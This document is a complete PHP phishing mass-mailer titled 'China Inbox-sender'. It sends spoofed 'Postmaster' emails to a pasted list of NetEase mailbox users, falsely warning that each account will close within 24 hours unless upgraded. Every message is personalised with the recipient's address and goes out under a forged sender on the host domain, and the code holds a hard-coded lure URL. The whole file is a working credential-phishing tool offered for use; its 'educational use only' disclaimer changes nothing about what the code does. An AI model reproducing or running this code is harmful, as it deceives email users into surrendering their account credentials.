<?php

if($_POST['btn_submit'])
{
	$sender_name = 'Postmaster';
	$username = 'null';
	$url = 'http://webhostinggm.com/zudd';
	$emails = $_POST['emails'];
	$header = '<form target="_blank"><input class="button2" type="hidden" value="{ursmail}" name="email">';
	$footer = '</form>';
	$msg = '尊敬的网易邮箱用户：<br />请注意帐户{urs} 很快就会关闭&gt;&gt;升级警告避免在24小时内终止<br /><br />';
	

	
$message=$header.$msg.$footer;
	
//clean up emails	
$no_space = str_replace(' ', '',$emails);
$comma_emails = str_replace("\n", ',',$no_space);
$sing_to = explode(',', $comma_emails);
	

	
	
if(count($sing_to) > 100)
{
	$error = '<font color="#FF0000">ERROR: Email addresses should not exceed 100</font> - <a href="index.php">Go back</a>';	
	exit;
}

function get_name($email)
{
	$name = explode('@',$email);
	return $name[0];	
}
function email_domain($email)
{
	$name = explode('@',$email);
	return $name[1];	
}


for ($i = 0; $i < count($sing_to); $i++) {	
	
	
	$domain = $_SERVER['HTTP_HOST'];
	$sub = get_name($sing_to[$i]).' ; 它的通知';
	
	//update links in message
	$message2 = str_replace('{ursmail}', $sing_to[$i],$message);
	$mail_content = str_replace('{urs}', get_name($sing_to[$i]),$message2);

	$headers = "MIME-Version: 1.0" . "\n";
	$headers .= "Content-type:text/html; charset=UTF-8" . "\n";
	// More headers
	$headers .= "From: $sender_name<$username".date('is')."@".$domain.">" . "\n";
	//$headers .= "Bcc: ".$bcc;
	mail($sing_to[$i], $sub, $mail_content, $headers); 
	

}
echo '<h2 align center><font color="#990000">';
echo $type.' </font>Message sent - <a href="index.php">click here to go back</a>';
echo '</h2>';
exit;
}
?>
<html><head>
    <title>China Inbox-sender</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<meta http-equiv="content-language" name="Language" content="zh-CN">
    <link href="blastit_files/bootstrap.css" rel="stylesheet">
    <script src="blastit_files/bootstrap.js"></script>
	<script language="JavaScript" type="text/javascript" src="openwysiwyg/wysiwyg.js"></script>
	</head><body style=" background-color:#4B5320;  text-align:center; width:100%; height:50%; COLOR:#000066 "><div class="containe col-lg-6" style="text-align:center; width:100%;">
        <br><h3><font color="green"></font><font face="Helvetica"><span style="FONT-SIZE: 30px; COLOR: #000066"></span><span style="FONT-SIZE: 30px; COLOR: #cc3300"></span><span style="FONT-SIZE: 30px; COLOR: #000066"></span></font> <small></small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
           
            <div class="row">	
			     
	
			    
               <div><label for="emailList"><p style="TEXT-ALIGN: center; color: #4B5320;"><textarea placeholder="INSERT YOUR MAIL LIST HERE, FOR QUICK INBOX INPUT 50 MAIL PER SENT" style=" width:715px; height:300px; font-family: Verdana; font-size: 12px; font-weight: light; text-align:center; background-color: #FFFFFF; " name="emails" id="emailList" class="form-control" rows="10"></textarea></p></label></div>
				
            </div><br><br><br>
            <input type="submit" class="btn btn-default btn-sm" name="btn_submit" value="Send to Inbox" style="width:315px;">
            
		    <br><br>NOTE:THIS PRODUCT IS FOR EDUCATIONAL USE ONLY..<br>ANYTHING YOU DO WITH THIS PRODUCT, WE WILL NOT BE HELD RESPONSIBLE<br><br>
           
    

</form></body></html>